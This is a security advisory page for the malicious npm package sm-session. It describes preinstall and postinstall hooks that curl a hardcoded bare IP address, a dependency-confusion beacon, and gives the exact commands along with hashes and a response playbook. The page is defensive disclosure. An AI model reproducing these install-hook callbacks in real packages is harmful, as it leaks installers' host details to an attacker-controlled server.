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Malicious package

sm-sessionnpm

Advisory published Updated

sm-session is a confirmed malicious npm package (MAL-2026-14400) that opens a backdoor for remote access (malicious versions 99.0.0, 99.0.1). Do not install it — remove it immediately and rotate any exposed credentials.

Malicious code in sm-session (npm)

MAL-2026-14400
Immediate action
Remove the package, then rotate any secrets the build/runtime could reach.
npm uninstall sm-session

What this malware does

package.json declares preinstall and postinstall lifecycle scripts that each run curl -s http://16.192.173.5/sm-session/pre and curl -s http://16.192.173.5/sm-session/post on npm install. The destination is a hardcoded bare IPv4 over plain HTTP with path segments identifying the package name and lifecycle stage, so every install signals the installer's host (source IP, user-agent, timing) to an operator-controlled endpoint. The behavior is the canonical dependency-confusion reconnaissance shape: a name-squat package whose only install-time action is a callback identifying which environments resolve the name. No legitimate package purpose is served by a plain-HTTP beacon to a bare IP in both pre- and postinstall hooks.

Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.

The OpenSSF Package Analysis project identified 'sm-session' @ 99.0.1 (npm) as malicious.

It is considered malicious because:

  • The package executes one or more commands associated with malicious behavior.

Malicious versions

2 flagged
99.0.099.0.1

Indicators of compromise (SHA-256)

1934167b06b4d9241c11bb22d15955d215c6879e004d270ed35b386b1a0442f6
ef638f6aa70fe3af65e927efad452743a47f30a2aead95446181742704d9bd24
dc10328735ea596affb97ec9cd39bb62b49ed2017e4a11c0c27b1db7839aa405
4a2d380d6ee8962fa08a64ed46e97d530797c008f516c0cf19ccc8ce7dbebb49

Detection & response playbook

Backdoor / remote access
  1. Find it

    Search your lockfiles and build artifacts for sm-session (2 malicious versions).

  2. If you installed it — respond

    sm-session establishes remote access, so treat any host that installed it as fully compromised. Isolate the machine, remove the package, rotate all credentials it could reach, and rebuild from a trusted image rather than cleaning in place — a backdoor may have planted additional persistence.

  3. Did it already run?

    If sm-session was installed, its post-install payload may already have run. Removing the package does not undo that — check outbound connections and credential use from the install window onward.

Frequently asked questions

No. sm-session on npm has been identified as a malicious package (versions 99.0.0, 99.0.1 flagged). It should be removed immediately — do not install or keep it in your dependency tree.

Campaign

IN-MAL-2026-018604IN-MAL-2026-018614GHSA-2f9h-c49j-w22r

References

Credits

  • Amazon Inspector · finder
  • OpenSSF: Package Analysis · finder

Detect & block this

O3 blocks sm-session-class packages before install and in CI — and if it already ran, its runtime egress monitoring catches the C2 callback and severs the channel.

Explore

sm-session (npm) malicious package — MAL-2026-14400 | O3 Security